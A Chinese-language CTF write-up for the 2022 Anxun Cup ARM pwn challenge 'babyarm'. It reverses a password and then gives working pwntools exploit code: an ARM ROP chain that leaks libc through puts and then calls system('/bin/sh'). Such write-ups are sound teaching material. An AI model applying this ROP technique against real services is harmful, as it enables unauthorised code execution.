1. 程式人生 > 其它 >安洵杯2022 pwn babyarm

安洵杯2022 pwn babyarm

上週剛學習了一下arm下的pwn,這次就碰到了

32位,開了NX、relro部分開啟

程式前面有個加密,當我們輸入的內容加密後與"Sp5jS6mpH6LZC6GqSWe="相同,程式會給我們一個能來進行棧溢位read

這道題放x86架構下,只要逆向出密碼後面就是ret2libc的打法

但是在arm架構下,我們找到合適的gadget並除錯的過程可能會更麻煩些

而且這道題還ban掉了csu打法,讓本就不富裕的攻擊手段雪上加霜

沒有直接能控制r0的gadget苦魯西,那我們要洩露libc地址只能尋找一下別的gadget

但我們可以注意到這個pop {r4, r5, r6, r7, r8, sb, sl, pc}

​特殊的gadget,也就是所謂的萬能gadget

通過這個我們可以控制r7的值,從剛才的init函式中我們可以發現mov r0,r7​這條指令,可以間接控制r0

同時,我們可以發現下面再執行會跳轉到r3 所儲存的地址,而我們有著可以直接控制r3 的gadget,通過構造puts(puts_got)我們即可獲取libc地址

sla('msg> ','s1mpl3Dec0d4r')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
r4_pc = 0x00010cb0
r3 = 0x00010464
movcall = 0x00010ca0
vuln = 0x0010B60

pl = b'a'*0x2c+p32(r4_pc)+p32(0)+p32(0)+p32(0)+p32(puts_got)+p32(0)+p32(0)+p32(0)
#控制r7為puts_gots
pl += p32(r3)+p32(puts_plt)+p32(movcall)
#控制r3為puts_plt,並通過mov_call將r7傳參給r0,並執行r3
pl += p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(vuln)
#往下執行到pop{r4-r10,pc},要重新控制程式流,跳回vuln
p.sendlineafter('comment> ',pl)

leak出libc地址,劫持程式流

libcbase = uu64(r(4)) - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + 0x00131bec
leak('libcbase',libcbase)

看一下詳細過程,思路簡單但是除錯的過程很麻煩

si、ni等指令在除錯中很難用

paylaod送入

pop {r4, r5, r6, r7, r8, sb, sl, pc}​:

pop {r3 , pc}:

movcall​:

送入shellcode

sla('msg> ','s1mpl3Dec0d4r')

pl = b'a'*0x2c+p32(r4_pc)
pl += p32(0)+p32(0)+p32(0)+p32(binsh)+p32(0)+p32(0)+p32(0)
pl += p32(r3)+p32(system)+p32(movcall)
#call r3
# r0: r7
p.sendlineafter('comment> ',pl)